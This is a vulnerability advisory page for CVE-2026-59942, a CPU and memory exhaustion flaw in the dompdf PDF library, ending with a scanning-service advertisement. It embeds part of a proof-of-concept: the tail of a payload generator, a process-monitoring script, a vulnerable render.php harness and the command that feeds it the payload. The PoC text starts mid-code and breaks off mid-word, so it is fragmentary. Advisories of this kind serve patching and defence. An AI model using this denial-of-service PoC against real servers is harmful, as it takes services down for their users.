🛡️ CVE-2026-59942 — dompdf
Description
PoC: Resource Exhaustion
""" with open(OUTPUT_FILE, "w") as f: f.write(html_content) print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}") if __name__ == "__main__": generate_noise_bomb() ``` 3. Use the following Python script to monitor the system resources in a separate terminal (`monitor.py`): ```python import psutil import time def start_monitoring(): print("[*] Searching for PHP processes... (Press Ctrl+C to stop)") try: while True: for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']): if 'php' in proc.info['name'].lower(): try: pid = proc.info['pid'] mem = proc.info['memory_info'].rss / (1024 * 1024) cpu = proc.cpu_percent(interval=0.1) print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True) except (psutil.NoSuchProcess, psutil.AccessDenied): print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.") return time.sleep(0.05) except KeyboardInterrupt: print("\n[*] Monitoring finished.") if __name__ == "__main__": start_monitoring() ``` 4. Create a file named `render.php`. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library: ```php set('isRemoteEnabled', true); $options->set('isHtml5ParserEnabled', true); $dompdf = new Dompdf($options); $html = file_get_contents('php://stdin'); echo "[*] Starting Dompdf rendering process...\n"; try { $dompdf->loadHtml($html); $dompdf->render(); // Point of resource exhaustion echo "[+] PDF rendered successfully.\n"; } catch (Exception $e) { echo "[!] Render failed: " . $e->getMessage() . "\n"; } ``` 5. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration: ``` php -d memory_limit=2G render.php < payload.html ``` 6. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturHow this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2026-59942 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.
Affected software
CVE-2026-59942 is recorded against 2 packages.
- dompdf (fixed in 3.1.6)
- dompdf/dompdf (fixed in 3.1.6)
Timeline and source
Published on 28 July 2026 and last revised on 4 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| dompdf | — | 3.1.6 |
| dompdf/dompdf | — | 3.1.6 |
References
Similar Threats
- Unknown CLSA-2026-1786371522
- Unknown CLSA-2025-1766019429
- Unknown CLSA-2025-1766364765
- High CVE-2026-55554
- High CVE-2026-55555
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running dompdf?
CVE-2026-59942 carries CVSS 7.5 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-59942 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.